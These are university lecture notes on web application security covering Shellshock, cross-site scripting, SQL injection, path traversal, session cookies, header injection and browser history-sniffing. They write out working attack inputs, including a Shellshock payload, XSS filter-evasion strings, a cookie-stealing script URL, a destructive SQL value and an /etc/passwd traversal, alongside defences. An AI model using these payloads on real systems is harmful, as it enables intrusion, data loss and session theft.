6.

858 Lecture 9
WEB  SECURITY: Part  II

Last lecture, we  looked  at a core security mechanism for the web: the same-­‐origin  
policy. In this lecture,  we'll continue to look at how we  can  build  secure web
applications.

The recent "Shell Shock"  bug  is a good example of how difficult it is to  design web
services that compose multiple technologies.
• A web client can include extra headers in its HTTP  requests, and determine
which query parameters are in a request. Ex:
o GET /query.cgi?searchTerm=cats HTTP  1.1
o Host:  www.example.com
o Custom-­‐header:  Custom-­‐value
• CGI  servers map the various components of the HTTP  request to Unix
environment variables.
• Vulnerability:  Bash  has  a parsing bug in the way that  it  handles the setting  of
environment variables!  If a string  begins  with a certain set of malformed bytes,
bash will  continue to parse  the rest  of the string  and execute any commands that
it finds! For example, if you set an environment variable to a value like this…

() { :;}; /bin/id

• …will  confuse the bash parser,  and cause it to execute the /bin/id command
(which displays the UID and GID information for the current  user).
• Live demo
o Step 1: Run the CGI  server.
§ ./victimwebserver.py 8082

o Step 2: Run the exploit script.

§ ./shellshockclient.py localhost:8082 index.html
• More information: http://seclists.org/oss-sec/2014/q3/650

Shell Shock is a particular instance of security bugs which arise from improper
content sanitzation. Another type of content sanitzation  failure  occurs  during  cross-­‐
site scripting  attacks  (XSS).
Example: Suppose that a CGI  script embeds a query string parameter in the HTML  
that it generates.
Demo:
• Step 1: Run the CGI  server.
o ./cgiServer.py
• Step 2: In browser,  load these URLs:

http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=hello

http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<b>hello</b>

1
http://127.0.0.1:8282/cgi-
bin/uploadRecv.py?msg=<script>alert("XSS");</script>

//The XSS attack doesn't work for this one . . .

//we'll see why later in the lecture.

http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<IMG

"""><SCRIPT>alert("XSS")</SCRIPT>">

//This works! [At least on Chrome 37.0.2062.124.]

//Even though the browser caught the

//straightforward XSS injection, it

//incorrectly parsed our intentionally

//malformed HTML.

For more examples of XSS exploits via malformed code, go here:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Why is cross-­‐site  scripting  so prevalent?

• Dynamic web sites incorporate user content in HTML  pages (e.g., comments
sections).
• Web sites host uploaded user documents.
o HTML  documents can contain  arbitrary Javascript code!
o Non-­‐HTML  documents may be content-­‐sniffed as HTML by browsers.
• Insecure Javascript programs may directly execute code that comes from
external parties (e.g., eval(), setTimeout(), etc.).

XSS defenses
• Chrome  and IE have a built-­‐in  feature  which uses heuristics to detect  potential
cross-­‐site scripting  attacks.
o Ex: Is a script  which is about to execute included  in the  request that
fetched  the enclosing  page?
§ http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
o If so,  this is strong evidence that something suspicious  is about to
happen!  The attack above is called a "reflected XSS attack," because the
server "reflects"  or "returns" the attacker-­‐supplied  code to  the  user's  
browser, executing  it in the  context of the  victim page.
§ This is why  our first XSS  attack in the CGI  example didn't work—
the browser detected reflected JavaScript in the URL, and removed
the trailing </script>  before  it even reached  the CGI server.
§ However  . . .
o Filters  don't have  100% coverage, because there  are a huge number of
ways to  encode an XSS attack!
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
§ This is why  our second XSS  attack succeeded-­‐-­‐-­‐the browser got  
confused by our intentionally malformed HTML.  
o Problem: Filters can't catch persistent XSS attacks in  which the server
saves attacker-­‐provided data,  which is then permanently distributed to
clients.
§ Classic  example: A "comments" section which allows users to post  
HTML messages.

2
 § Another example: Suppose that a dating site  allows  users to
include  HTML  in their profiles. An attacker can add HTML  that will
run in a *different* user's browser when that user looks at the
attacker's profile! Attacker could  steal the  user's cookie.
• Another XSS defense: "httponly" cookies.
o A server can tell a browser that  client-­‐side JavaScript should  not be  able
to access a cookie.  [The server does this by adding the "Httponly"  token  to
a "Set-­‐cookie" HTTP response  value.]
o This is only  a partial defense, since the attacker can still  issue requests
that contain a user's cookies (CSRF).
• Privilege separation: Use a separate domain for untrusted  content.
o For example, Google stores untrusted content in googleusercontent.com
(e.g., cached copies of pages, Gmail attachments).
o Even if XSS is possible  in the untrusted content,  the  attacker  code will run
in a different  origin.
o There may still be problems if the content in googleusercontent.com
points to URLs in google.com.
• Content sanitization:  Take  untrusted  content and encode it  in  a way that
constrains  how it can  be  interpreted.
o Ex: Django templates: Define an output page  as a bunch of HTML  that has some
"holes" where external content can be inserted.
[https://docs.djangoproject.com/en/dev/topics/templates/#automatico
htmlo escaping]
o A template might contain code like this…
§ <b>Hello {{ name }} </b>

o … where "name" is a variable that is resolved  when the  page  is processed  
by the Django template engine. That engine will  take the value of "name" (e.g.,
from a usero supplied  HTTP query  string), and then automatically escape  
dangerous characters. For example:
§ angle brackets < and > -­‐-­‐>  &lt;  and  &gt;
§ double  quotes  " -­‐-­‐>  &quot;
o This prevents  untrusted  content from injecting  HTML  into  the  rendered
page.
o Templates cannot defend against all attacks! For example . . .
§ <div class={{ var }}>...</div>

o …if  var  equals…

§ 'class1 onmouseover=javascript:func()'
o …then there may be an XSS attack, depending  on how the  browser  parses
the malformed HTML.  
o So, content sanitization  kind-­‐of  works, but it's extremely difficult to parse
HTML  in an unambigous way.
o Possibly better approach: Completely disallow externally-­‐provided
HTML, and  force external content to be expressed in a smaller language
(e.g., Markdown: http://daringfireball.net/projects/markdown/syntax).
Validated  Markdown can then be translated into  HTML.

3
• Content  Security Policy (CSP):  Allows a web server to  tell the  browser  which
kinds of resources  can be  loaded, and  the  allowable origins for those  resources.
o Server specifies one or more headers of the type "Content-­‐Security-­‐
Policy".
o Example:
§ Content-­‐Security-­‐Policy:  default-­‐src  'self' *.mydomain.com
• Only allow content from the page's domain and its
subdomains.
o You  can specify  separate policies for where images can come from, where
scripts can come from, frames, plugins, etc.
o CSP  also  prevents inline JavaScript,  and JavaScript interfaces  like  eval()
which allow for dynamic JavaScript generation.
• Some browsers allow servers to disable content-­‐type sniffing (X-­‐Content-­‐Type-­‐
Options: nosniff).

SQL injection attacks.

• Suppose that the application  needs to issue SQL query based  on user input:
o query = "SELECT * FROM table WHERE  userid="  + userid
• Problem: adversary can supply userid that changes SQL query  structure
o e.g.,"0; DELETE FROM table;"
• What  if we add quoting  around userid?
o query = "SELECT  * FROM table WHERE  userid='" + userid + "'"
• The vulnerability  still exists!  The attacker can just add another  quote  as first
byte of userid.
• Real solution: unambiguously encode data.
• Ex: replace  ' with \',  etc.
o SQL libraries  provide  escaping functions.
• Django  defines a query  abstraction  layer which sits atop  SQL and allows
applications to avoid writing  raw  SQL (although they can do it if they  really  want
to).
• (Possibly fake) German license plate which says ";DROP TABLE" to avoid
speeding cameras which use OCR+SQL to extract  license plate number.

You  can also run  into  problems if untrusted entities can supply  filenames.
• Ex: Suppose  that a web server reads files based on  user-­‐supplied  parameters.
o open("/www/images/" + filename)
• Problem: filename might look like this:
o ../../../../../etc/passwd
• As with SQL injection, the server must sanitize the user input: the server must
reject file names with slashes, or encode the slashes in some way.

What  is Django?

• Moderately popular web framework, used by some large sites like Instagram,
Mozilla, and Pinterest.

4
 o A "web framework" is a software system that  provides infrastructure for
tasks like database accesses, session management, and the creation  of
templated content that  can  be used throughout  a site.
o Other frameworks  are more popular: PHP, Ruby  on Rails.
o In the enterprise  world,  Java  servlets and ASP are also widely used.
• Django developers have put some amount of thought  into security.
o So, Django  is a good case study to see how people implement web
security in practice.
• Django is probably better in terms of security than some of the alternatives like
PHP or Ruby  on Rails,  but the  devil is in the  details.
o As we'll discuss two lectures from now, researchers have invented some
frameworks that  offer provably better security.
§ [Ur/Web: http://www.impredicative.com/ur/]

Session management: cookies.

(http://pdos.csail.mit.edu/papers/webauth:sec10.pdf
Zoobar,  Django,  and many  web frameworks put a random  session  ID in the  cookie.  
• The Session ID refers to an entry in some session table on  the web  server.  The
entry  stores  a bunch of per-­‐user  information.
• Session cookies are  sensitive: adversary  can use them to impersonate a user!
• As we discussed last lecture, the same-­‐origin policy  helps  to  protect cookies
…but  you  shouldn't  share  a domain with sites  that you don't trust!  Otherwise,
those sites  can  launch  a session fixation  attack:
1) Attacker  sets the session ID in the shared cookie.
2) User  navigates to the victim site; the attacker-­‐choosen  session ID is sent
to the server and used to identify  the  user's session entry.
3) Later, the  attacker  can navigate to the victim site using the attacker-­‐
chosen session id, and access the user's state!
• Hmmm,  but what if we don't want to have server-­‐side state  for every logged  in
user?

Stateless cookies
• If you don't  have the notion of a session,  then you need to  authenticate  every
request!
o Idea: Authenticate the cookie using cryptography.
o Primitive: Message authentication codes (MACs)
§ Think of it like  a keyed  hash,  e.g., HMAC-­‐SHA1:  H(k,  m)
§ -­‐Client and server share  a key;  client uses key to produce  the
message, and the server uses the key to verify the message.
o AWS S3 REST Services use this kind of cookie
[http://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthenticatio
n.html].
§ Amazon  gives each developer an  AWS  Access Key  ID,  and an  AWS  
secret key.  Each  request looks like this:

5
GET /photos/cat.jpg HTTP/1.1

Host: johndoe.s3.amazonaws.com

Date: Mon, 26 Mar 2007 19:37:58 +0000

Authorization: AWS

AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=

|___________________| |________________________|

Access key ID MAC signature

§ Here's what is signed  (this  is slightly simplified, see the link above
for the full story):

StringToSign = HTTP-Verb + "\n" +

Content-MD5 + "\n" +

Content-Type + "\n" +

Date + "\n" +

ResourceName

o Note  that this  kind  of cookie  doesn't expire  in the traditional  sense
(although  the  server will reject the request if Amazon has revoked the
user's key).
§ You can embed an "expiration" field in a *particular*  request,  and
then  hand that  URL to a third-­‐party,  such  that, if the  third-­‐party  
waits too long, AWS will  reject  the request  as expired.

AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Sign

ature=vjbyPxybd... |__________________|

Included in the string

that's covered by the

signature!

o Note that the format for the string-­‐to-­‐hash should provide unambiguous
parsing!
§ Ex: No component should be allowed to embed the escape
character,  otherwise the  server-­‐side  parser may get confused.

• Q: How  do you  log  out  with this kind of cookie design?
• A: Impossible, if the server is stateless (closing a session would require a server-­‐
side table of revoked  cookies).
• If server can be stateful, session IDs make this much simpler.
• There's a fundamental trade-­‐off  between reducing server-­‐side  memory state and
increasing  server-­‐side  computation overhead for cryptography.

Alternatives to cookies for session management.

• Use HTML5  local storage, and implement  your own authentication  in  Javascript.
o Some web frameworks like Meteor do this.

6
 o Benefit: The cookie is not  sent  over the network  to the server.
o Benefit: Your authentication scheme is not subject to complex same-­‐
origin policy  for  cookies  (e.g., DOM storage  is bound to a single origin,
unlike a cookie, which can be bound to multiple subdomains).
• Client-­‐side  X.509  certificates.
o Benefit: Web  applications can't  steal or explicitly manipulate each other's
certificates.
o Drawback:  Have  weak story  for revocation (we'll talk about this more in
future lectures).
o Drawback:  Poor usability-­‐-­‐-­‐users don't want to manage a certificate for
each site  that they  visit!
o Benefit/drawback: There isn't  a notion  of a session,  since the certificate is
"always on." For important  operations, the  application will  have to
prompt for a password.

The web stack has some protocol ambiguities that  can  lead to security holes.
• HTTP  header injection from XMLHttpRequests
o Javascript can ask browser  to  add  extra headers  in the  request.  So, what
happens if we  do this?

var x = new XMLHttpRequest();

x.open("GET", "http://foo.com");
x.setRequestHeader("Content-Length", "7");
//Overrides the browser-computed field!

x.send("Gotcha!\r\n" +
"GET /something.html HTTP/1.1\r\n" +

"Host: bar.com");

o The server at foo.com may interpret this as two separate requests! Later,
when  the browser receives the second request, it may overwrite a cache
entry  belonging  to  bar.com with content from foo.com!
o Solution: Prevent XMLHttpRequests  from setting sensitive  fields  like
"Host:"  or "Content-­‐Length".
o Takehome point: Unambiguous encoding is critical!  Build  reliable
escaping/encoding!
• URL parsing ("The Tangled  Web"  page 154)
o Flash  had  a slightly  different URL  parser  than the browser.
o Suppose the URL was http://example.com:[email protected]/
§ Flash would compute the origin as "example.com".

§ Browser would compute the origin as "foo.com".

o Bad idea: complex parsing rules just to determine  the principal.

o Bad idea: re-­‐implementing  complex parsing code.
• Here's a hilarious/terrifying way  to  launch attacks using  Java  applets that  are
stored in the .jar format.
o In 2007, Lifehacker.com posted an article which described how  you  could
hide .zip files  inside of .gif files.

7
 o Leverage the fact that image renderers process a file  top-­‐down,  whereas
decompressors for .zip files typically start from the end and go upwards.
o Attackers realized that .jar files are based on the .zip format!
o THUS  THE  GIFAR WAS BORN: half-­‐gif,  half-­‐jar, all-­‐evil.
§ Really simple to make a GIFAR: Just use  "cat" on Linux  or "cp" on
Windows.
§ Suppose that target.com only allows external parties  to  upload  
images objects.  The attacker  can  upload  a GIFAR, and the GIFAR
will  pass target.com's  image validation tests!
§ Then, if the  attacker  can  launch a XSS attack, the attacker can inject
HTML  which  refers to  the ".gif" as an applet.

<applet code="attacker.class"

archive="attacker.gif"

..>

§ The browser  will load  that applet and give it  the authority  of
target.com!

Web  applications are also vulnerable to covert  channel attacks.

• A covert channel is a mechanism which allows two applications to exchange
information, even though the security model prohibits those applications from
communicating.
o The channel is "covert"  because  it doesn't use official mechanisms for
cross-­‐app communication.
• Example #1: CSS-­‐based sniffing  attacks
o Attacker has a website that he can convince the user to visit.
o Attacker goal: Figure out the other websites that  the user  has  visited  (e.g.,
to determine the user's political views, medical history, etc.).
o Exploit vector: A web browser uses different colors  to  display  visited
versus unvisited links! So,  attacker page can  generate a big  list  of
candidate  URLs, and then  inspect the colors to see if the user has visited
any of them.
§ Can check thousands  of URLs  a second!
§ Can go  breadth-­‐first,  find hits  for top-­‐level  domains, then go depth-­‐
first for each  hit.
o Fix: Force getComputedStyle()  and related JavaScript interfaces  to  always
say  that a link  is unvisited.
§ https://blog.mozilla.org/security/2010/03/31/plugging-the-css-
history-leak/
• Example #2: Cache-­‐based attacks
o *Attacker setup and goal are the same as before.
o *Exploit vector:  It's much faster for a browser to access data  that's  cached  
instead  of fetching  it over the  network.  So, attacker  page  can generate  a
list of candidate images, try to load them, and see which ones load
quickly!

8
 o This attack can  reveal your location  if the candidate images come from
geographically specific  images, e.g., Google Map tiles.
§ http://w2spconf.com/2014/papers/geo_inference.pdf
o Fix: No good ones. A page could never cache objects,  but this  will hurt
performance. But suppose  that a site  doesn't cache  anything. Is it safe  
from history sniffing? No!
• Example #3: DNS-­‐based attacks
o Attacker setup and goal are the same as before.
o Exploit vector: Attacker page generates references  to  objects  in various
domains. If the user has already  accessed objects from that domain, the
hostnames will already reside in the DNS cache, making subsequent
object accesses  faster!
§ http://sip.cs.princeton.edu/pub/webtiming.pdf
o Fix:  No good  ones. Could  use  raw IP  addresses for links,  but this  breaks  a
lot  of things (e.g. DNS-­‐based load balancing).  However, suppose  that a
site  doesn't cache  anything and uses raw IP addresses for hostnames. Is it
safe from history sniffing? No!
• Example #4: Rendering attacks.
o Attacker setup and goal are the same as before.
o Exploit vector: Attacker page loads a candidate URL in an iframe. Before
the  browser  has  fetched the content,  the  attacker  page  can  access…

window.frames[1].location.href

o …and read the value that  the attacker set. However, once  the  browser  has  
fetched  the content,  accessing that reference will return "undefined" due
to the same-­‐origin  policy.  So, the attacker can  poll  the value and see how
long  it  takes to turn  "undefined".  If it  takes a long time, the page must not
have  been cached!
§ http://lcamtuf.coredump.cx/cachetime/firefox.html
o Fix: Stop using computers.

A web page also needs to use postMessage() securely.

• Two frames from different origins can use postMessage() to asynchronously
exchange immutable strings.
o Sender gets a reference  to a window object, and does this:
§ window.postMessage(msg, origin);

o Receiver defines an event handler  for the special "message" event. The
event handler receives the msg and the origin.
• Q: Why  does the receiver have to check  the origin of received message?
• A: To perform access control on senders! If the receiver implements sensitive
functionality, it shouldn't respond to requests from arbitary
• origins.
o Common  mistake: The receiver uses regular expressions  to  check the
sender's origin.

9
 o Even if origin matches /.foo.com/, doesn't mean it's from foo.com! Could
be "xfoo.com", or "www.foo.com.bar.com".
o More  details:
https://www.cs.utexas.edu/~shmat/shmat_ndss13postman.pdf
• Q: Why  does the sender have to specify  the intended  origin of the  receiver?
• A: postMessage() is applied to a window, not an origin.
o Remember that an attacker may be able to navigate a window to a
different location.
o If the attacker navigates the window, another origin may receive
message!
o If the sender explictly specifies a target origin, the  browser  checks
recipient origin before delivering the msg.
o More details: http://css.csail.mit.edu/6.858/2013/readings/post-
message.pdf

There are many other aspects to building a secure  web application.

• Ex: ensure  proper access control  for server-­‐side operations.
o Django  provides  Python decorators  to check access control rules.
• Ex: Maintain logs for auditing,  prevent an attacker from modifying the log.

10
MIT OpenCourseWare
http://ocw.mit.edu

6.858 Computer Systems Security

Fall 2014

For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.